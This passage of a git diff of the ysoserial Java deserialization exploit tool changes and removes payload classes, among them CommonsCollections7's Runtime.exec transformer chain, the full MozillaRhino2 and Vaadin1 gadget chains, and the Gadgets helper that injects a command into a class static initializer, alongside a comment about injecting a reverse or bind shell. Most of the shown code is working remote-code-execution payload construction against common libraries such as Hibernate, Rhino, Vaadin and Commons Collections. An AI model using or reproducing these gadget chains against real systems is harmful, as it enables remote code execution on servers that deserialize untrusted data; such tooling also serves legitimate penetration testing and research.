-        // Reusing transformer chain and LazyMap gadgets from previous payloads
-        final String[] execArgs = new String[]{command};
-
-        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
-
-        final Transformer[] transformers = new Transformer[]{
-            new ConstantTransformer(Runtime.class),
-            new InvokerTransformer("getMethod",
-                new Class[]{String.class, Class[].class},
-                new Object[]{"getRuntime", new Class[0]}),
-            new InvokerTransformer("invoke",
-                new Class[]{Object.class, Object[].class},
-                new Object[]{null, new Object[0]}),
-            new InvokerTransformer("exec",
-                new Class[]{String.class},
-                execArgs),
-            new ConstantTransformer(1)};
-
-        Map innerMap1 = new HashMap();
-        Map innerMap2 = new HashMap();
-
-        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
-        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
-        lazyMap1.put("yy", 1);
-
-        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
-        lazyMap2.put("zZ", 1);
-
-        // Use the colliding Maps as keys in Hashtable
-        Hashtable hashtable = new Hashtable();
-        hashtable.put(lazyMap1, 1);
-        hashtable.put(lazyMap2, 2);
-
-        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
-
-        // Needed to ensure hash collision after previous manipulations
-        lazyMap2.remove("yy");
-
-        return hashtable;
-    }
-
-    public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(CommonsCollections7.class, args);
-    }
-}

src/main/java/ysoserial/payloads/FileUpload1.java

@@ -14,7 +14,6 @@ import org.apache.commons.io.output.ThresholdingOutputStream;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -41,12 +40,9 @@ import ysoserial.payloads.util.Reflections;
     "commons-fileupload:commons-fileupload:1.3.1",
     "commons-io:commons-io:2.4"
 } )
-@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
+@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
 @Authors({ Authors.MBECHLER })
 public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isAtLeast(7);
-    }
 
     public DiskFileItem getObject ( String command ) throws Exception {
 

src/main/java/ysoserial/payloads/Hibernate1.java

@@ -5,8 +5,6 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.Map;
-import java.util.HashMap;
 
 import org.hibernate.engine.spi.TypedValue;
 import org.hibernate.tuple.component.AbstractComponentTuplizer;
@@ -14,12 +12,9 @@ import org.hibernate.tuple.component.PojoComponentTuplizer;
 import org.hibernate.type.AbstractType;
 import org.hibernate.type.ComponentType;
 import org.hibernate.type.Type;
-import org.hibernate.EntityMode;
 
 import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
-import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -42,11 +37,7 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  */
 @Authors({ Authors.MBECHLER })
-@PayloadTest(precondition = "isApplicableJavaVersion")
 public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isAtLeast(7);
-    }
 
     public static String[] getDependencies () {
         if ( System.getProperty("hibernate5") != null ) {
@@ -78,7 +69,7 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
         Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
         Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
         Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
-        Reflections.setAccessible(bgCon);
+        bgCon.setAccessible(true);
 
         if ( !method.startsWith("get") ) {
             throw new IllegalArgumentException("Hibernate4 can only call getters");
@@ -114,15 +105,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
 
     static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
             InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
-        if ( System.getProperty("hibernate3") != null ) {
-            return makeHibernate3Caller(tpl, getters);
-        }
-        return makeHibernate45Caller(tpl, getters);
-    }
-
-
-    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
-            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
         PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
         Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
 
@@ -145,40 +127,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
     }
 
 
-    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
-            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
-        // Load at runtime to avoid dependency conflicts
-        Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
-        Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
-        Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
-
-        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
-        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
-        Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
-
-        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
-        HashMap hm = new HashMap();
-        hm.put(EntityMode.POJO, tup);
-        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
-        Reflections.setFieldValue(t, "tuplizerMapping", emtm);
-        Reflections.setFieldValue(t, "propertySpan", 1);
-        Reflections.setFieldValue(t, "propertyTypes", new Type[] {
-            t
-        });
-
-        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
-        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
-        Reflections.setFieldValue(v1, "value", tpl);
-        Reflections.setFieldValue(v1, "type", t);
-
-        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
-        Reflections.setFieldValue(v2, "value", tpl);
-        Reflections.setFieldValue(v2, "type", t);
-
-        return Gadgets.makeMap(v1, v2);
-    }
-
-
     public static void main ( final String[] args ) throws Exception {
         PayloadRunner.run(Hibernate1.class, args);
     }

src/main/java/ysoserial/payloads/Hibernate2.java

@@ -3,7 +3,6 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 import com.sun.rowset.JdbcRowSetImpl;
@@ -42,12 +41,9 @@ import com.sun.rowset.JdbcRowSetImpl;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
+@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
 @Authors({ Authors.MBECHLER })
 public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isAtLeast(7);
-    }
 
     public static String[] getDependencies () {
         return Hibernate1.getDependencies();

src/main/java/ysoserial/payloads/JBossInterceptors1.java

@@ -16,11 +16,8 @@ import org.jboss.interceptor.spi.model.InterceptionModel;
 import org.jboss.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
-import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -29,15 +26,11 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
-@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JBossInterceptors1 implements ObjectPayload<Object> {
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isAtLeast(7);
-    }
 
     public Object getObject(final String command) throws Exception {
 
@@ -51,7 +44,7 @@ public class JBossInterceptors1 implements ObjectPayload<Object> {
         s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        Reflections.setAccessible(defaultMethodMetadataConstructor);
+        defaultMethodMetadataConstructor.setAccessible(true);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/JRMPClient.java

@@ -49,7 +49,7 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
+@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
 @Authors({ Authors.MBECHLER })
 public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
 

src/main/java/ysoserial/payloads/JSON1.java

@@ -22,6 +22,7 @@ import javax.management.openmbean.TabularType;
 import javax.xml.transform.Templates;
 
 import org.springframework.aop.framework.AdvisedSupport;
+import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
 import net.sf.json.JSONObject;
 
 
@@ -94,11 +95,12 @@ public class JSON1 implements ObjectPayload<Object> {
         // it's very likely that there are other proxy impls that could be used
         AdvisedSupport as = new AdvisedSupport();
         as.setTarget(payload);
-        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
+        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
+                .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
         InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
-        InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
+        CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
-        ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
+        invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
-        Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
+        invocationHandler.setDefaultHandler(delegateInvocationHandler);
         final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
 
         JSONObject jo = new JSONObject();

src/main/java/ysoserial/payloads/JavassistWeld1.java

@@ -16,11 +16,8 @@ import org.jboss.weld.interceptor.spi.model.InterceptionModel;
 import org.jboss.weld.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
-import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -29,15 +26,11 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
-@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JavassistWeld1 implements ObjectPayload<Object> {
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isAtLeast(7);
-    }
 
     public Object getObject(final String command) throws Exception {
 
@@ -51,7 +44,7 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
         s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        Reflections.setAccessible(defaultMethodMetadataConstructor);
+        defaultMethodMetadataConstructor.setAccessible(true);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/MozillaRhino1.java

@@ -8,7 +8,6 @@ import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
 
 import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Constructor;
@@ -28,7 +27,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
 
         Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
         Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
-        Reflections.setAccessible(nativeErrorConstructor);
+        nativeErrorConstructor.setAccessible(true);
         IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
 
         Context context = Context.enter();
@@ -44,14 +43,14 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
         idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
 
         Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
-        Reflections.setAccessible(getSlot);
+        getSlot.setAccessible(true);
         Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
         Field getter = slot.getClass().getDeclaredField("getter");
-        Reflections.setAccessible(getter);
+        getter.setAccessible(true);
 
         Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
         Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
-        Reflections.setAccessible(memberboxClassConstructor);
+        memberboxClassConstructor.setAccessible(true);
         Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
         getter.set(slot, memberboxes);
 
@@ -60,7 +59,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
 
         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
         Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
-        Reflections.setAccessible(valField);
+        valField.setAccessible(true);
         valField.set(badAttributeValueExpException, idScriptableObject);
 
         return badAttributeValueExpException;

src/main/java/ysoserial/payloads/MozillaRhino2.java

@@ -1,109 +0,0 @@
-package ysoserial.payloads;
-
-import org.mozilla.javascript.*;
-import org.mozilla.javascript.tools.shell.Environment;
-import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.util.Gadgets;
-import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
-
-import java.io.IOException;
-import java.io.ObjectOutputStream;
-import java.lang.reflect.Method;
-import java.util.Hashtable;
-import java.util.Map;
-
-/*
-
-    Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
-
-    Chain:
-
-    NativeJavaObject.readObject()
-      JavaAdapter.readAdapterObject()
-        ObjectInputStream.readObject()
-          ...
-            NativeJavaObject.readObject()
-              JavaAdapter.readAdapterObject()
-                JavaAdapter.getAdapterClass()
-                  JavaAdapter.getObjectFunctionNames()
-                    ScriptableObject.getProperty()
-                        ScriptableObject.get()
-                          ScriptableObject.getImpl()
-                            Method.invoke()
-                              Context.enter()
-        JavaAdapter.getAdapterClass()
-          JavaAdapter.getObjectFunctionNames()
-            ScriptableObject.getProperty()
-              NativeJavaArray.get()
-                NativeJavaObject.get()
-                  JavaMembers.get()
-                    Method.invoke()
-                      TemplatesImpl.getOutputProperties()
-                        ...
-
-    by @_tint0
-
-*/
-@SuppressWarnings({"rawtypes", "unchecked"})
-@Dependencies({"rhino:js:1.7R2"})
-@Authors({ Authors.TINT0 })
-public class MozillaRhino2 implements ObjectPayload<Object> {
-
-    public Object getObject( String command) throws Exception {
-        ScriptableObject dummyScope = new Environment();
-        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
-        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
-        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
-
-        Object initContextMemberBox = Reflections.createWithConstructor(
-            Class.forName("org.mozilla.javascript.MemberBox"),
-            (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
-            new Class[] {Method.class},
-            new Object[] {Context.class.getMethod("enter")});
-
-        ScriptableObject initContextScriptableObject = new Environment();
-        Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
-        Reflections.setAccessible(makeSlot);
-        Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
-        Reflections.setFieldValue(slot, "getter", initContextMemberBox);
-
-        NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
-        Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
-        Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
-        Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
-            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
-        Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
-
-        ScriptableObject scriptableObject = new Environment();
-        scriptableObject.setParentScope(initContextNativeJavaObject);
-        makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
-
-        NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
-        Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
-        Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
-        nativeJavaArray.setPrototype(scriptableObject);
-        Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
-
-        NativeJavaObject nativeJavaObject = new NativeJavaObject();
-        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
-        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
-        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
-            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
-        Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
-
-        return nativeJavaObject;
-    }
-
-    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
-        out.writeObject("java.lang.Object");
-        out.writeObject(new String[0]);
-        out.writeObject(javaObject);
-    }
-
-    public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(MozillaRhino2.class, args);
-    }
-
-}

src/main/java/ysoserial/payloads/Myfaces2.java

@@ -4,7 +4,6 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 
@@ -29,12 +28,9 @@ import ysoserial.payloads.util.PayloadRunner;
  *
  * @author mbechler
  */
-@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
+@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
 @Authors({ Authors.MBECHLER })
 public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isAtLeast(7);
-    }
 
     public static String[] getDependencies () {
         return Myfaces1.getDependencies();

src/main/java/ysoserial/payloads/Vaadin1.java

@@ -1,82 +0,0 @@
-package ysoserial.payloads;
-
-import javax.management.BadAttributeValueExpException;
-
-import com.vaadin.data.util.NestedMethodProperty;
-import com.vaadin.data.util.PropertysetItem;
-
-import ysoserial.payloads.annotation.Authors;
-import ysoserial.payloads.annotation.Dependencies;
-import ysoserial.payloads.annotation.PayloadTest;
-import ysoserial.payloads.util.Gadgets;
-import ysoserial.payloads.util.JavaVersion;
-import ysoserial.payloads.util.PayloadRunner;
-import ysoserial.payloads.util.Reflections;
-
-@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
-@PayloadTest ( precondition = "isApplicableJavaVersion")
-@Authors({ Authors.KULLRICH })
-public class Vaadin1 implements ObjectPayload<Object>
-{
-//  +-------------------------------------------------+
-//  |                                                 |
-//  |  BadAttributeValueExpException                  |
-//  |                                                 |
-//  |  val ==>  PropertysetItem                       |
-//  |                                                 |
-//  |  readObject() ==> val.toString()                |
-//  |          +                                      |
-//  +----------|--------------------------------------+
-//             |
-//             |
-//             |
-//        +----|-----------------------------------------+
-//        |    v                                         |
-//        |  PropertysetItem                             |
-//        |                                              |
-//        |  toString () => getPropertyId().getValue ()  |
-//        |                                       +      |
-//        +---------------------------------------|------+
-//                                                |
-//                  +-----------------------------+
-//                  |
-//            +-----|----------------------------------------------+
-//            |     v                                              |
-//            |  NestedMethodProperty                              |
-//            |                                                    |
-//            |  getValue() => java.lang.reflect.Method.invoke ()  |
-//            |                                           |        |
-//            +-------------------------------------------|--------+
-//                                                        |
-//                    +-----------------------------------+
-//                    |
-//                +---|--------------------------------------------+
-//                |   v                                            |
-//                |  TemplatesImpl.getOutputProperties()           |
-//                |                                                |
-//                +------------------------------------------------+
-    
-    @Override
-    public Object getObject (String command) throws Exception
-    {
-        Object templ = Gadgets.createTemplatesImpl (command);
-        PropertysetItem pItem = new PropertysetItem ();        
-        
-        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
-        pItem.addItemProperty ("outputProperties", nmprop);
-        
-        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
-        Reflections.setFieldValue (b, "val", pItem);
-        
-        return b;
-    }
-
-    public static boolean isApplicableJavaVersion() {
-        return JavaVersion.isBadAttrValExcReadObj();
-    }
-
-    public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(Vaadin1.class, args);
-    }
-
-}

src/main/java/ysoserial/payloads/Wicket1.java

@@ -46,7 +46,7 @@ import ysoserial.payloads.util.Reflections;
  * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
  * blue lobster
  */
-@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
+@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")
 @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
 @Authors({ Authors.JACOBAINES })
 public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -18,13 +18,6 @@ public @interface Authors {
     String GEBL = "gebl" ;
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
-    String KULLRICH = "kai_ullrich";
-    String TINT0 = "_tint0";
-    String SCRISTALLI = "scristalli";
-    String HANYRAX = "hanyrax";
-    String EDOARDOVIGNATI = "EdoardoVignati";
-    String JANG = "Jang";
-    String ARTSPLOIT = "artsploit";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/annotation/PayloadTest.java

@@ -9,11 +9,11 @@ import java.lang.annotation.RetentionPolicy;
  */
 @Retention(RetentionPolicy.RUNTIME)
 public @interface PayloadTest {
+
     String skip() default "";
     
     String precondition() default "";
     
     String harness() default "";
 
-    String flaky() default "";
 }

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -12,7 +12,6 @@ import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
 
-import com.nqzero.permit.Permit;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
@@ -115,7 +114,7 @@ public class Gadgets {
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
         String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replace("\\", "\\\\").replace("\"", "\\\"") +
+            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
             "\");";
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
@@ -149,7 +148,7 @@ public class Gadgets {
             nodeC = Class.forName("java.util.HashMap$Entry");
         }
         Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
-        Reflections.setAccessible(nodeCons);
+        nodeCons.setAccessible(true);
 
         Object tbl = Array.newInstance(nodeC, 2);
         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

src/main/java/ysoserial/payloads/util/JavaVersion.java

@@ -21,13 +21,13 @@ public class JavaVersion {
         }
         JavaVersion v = new JavaVersion();
         String parts[] = property.split("\\.|_|-");
-        int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix
+        v.major   = Integer.parseInt(parts[1]);
-        v.major   = Integer.parseInt(parts[start + 0]);
+        v.minor   = Integer.parseInt(parts[2]);
-        v.minor   = Integer.parseInt(parts[start + 1]);
+        v.update  = Integer.parseInt(parts[3]);
-        v.update  = Integer.parseInt(parts[start + 2]);
         return v;
     }
 
+
     public static boolean isAnnInvHUniversalMethodImpl() {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
@@ -37,10 +37,5 @@ public class JavaVersion {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major > 8 && v.update >= 76);
     }
-
-    public static boolean isAtLeast(int major) {
-        JavaVersion v = JavaVersion.getLocalVersion();
-        return v != null && v.major >= major;
-    }
 }
 

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -1,42 +1,20 @@
 package ysoserial.payloads.util;
 
-import java.lang.reflect.AccessibleObject;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 
 import sun.reflect.ReflectionFactory;
 
-import com.nqzero.permit.Permit;
-
 @SuppressWarnings ( "restriction" )
 public class Reflections {
 
-    public static void setAccessible(AccessibleObject member) {
+	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
-        String versionStr = System.getProperty("java.version");
+		Field field = clazz.getDeclaredField(fieldName);
-        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
+		if (field != null)
-        if (javaVersion < 12) {
+			field.setAccessible(true);
-          // quiet runtime warnings from JDK9+
+		else if (clazz.getSuperclass() != null)
-          Permit.setAccessible(member);
-        } else {
-          // not possible to quiet runtime warnings anymore...
-          // see https://bugs.openjdk.java.net/browse/JDK-8210522
-          // to understand impact on Permit (i.e. it does not work
-          // anymore with Java >= 12)
-          member.setAccessible(true);
-        }
-    }
-
-	public static Field getField(final Class<?> clazz, final String fieldName) {
-        Field field = null;
-	try {
-	    field = clazz.getDeclaredField(fieldName);
-	    setAccessible(field);
-        }
-        catch (NoSuchFieldException ex) {
-            if (clazz.getSuperclass() != null)
 			field = getField(clazz.getSuperclass(), fieldName);
-        }
 		return field;
 	}
 
@@ -52,13 +30,10 @@ public class Reflections {
 
 	public static Constructor<?> getFirstCtor(final String name) throws Exception {
 		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
-	    setAccessible(ctor);
+	    ctor.setAccessible(true);
 	    return ctor;
 	}
 	
-	public static Object newInstance(String className, Object ... args) throws Exception {
-        return getFirstCtor(className).newInstance(args);
-    }
 
     public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
@@ -69,9 +44,9 @@ public class Reflections {
     public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
-	    setAccessible(objCons);
+        objCons.setAccessible(true);
         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
-	    setAccessible(sc);
+        sc.setAccessible(true);
         return (T)sc.newInstance(consArgs);
     }
 

src/main/java/ysoserial/secmgr/DelegateSecurityManager.java

@@ -16,42 +16,12 @@ public class DelegateSecurityManager extends SecurityManager {
 		this.securityManager = securityManager;
 	}
 
-    //BEGIN fixes for JDK10+ compatibility
-
     @SuppressWarnings({"deprecation"})
-    //@Override
+    @Override
 	public boolean getInCheck() {
-		//return getSecurityManager().getInCheck();
+		return getSecurityManager().getInCheck();
-        return false;
 	}
 
-    @SuppressWarnings({"deprecation"})
-    //@Override
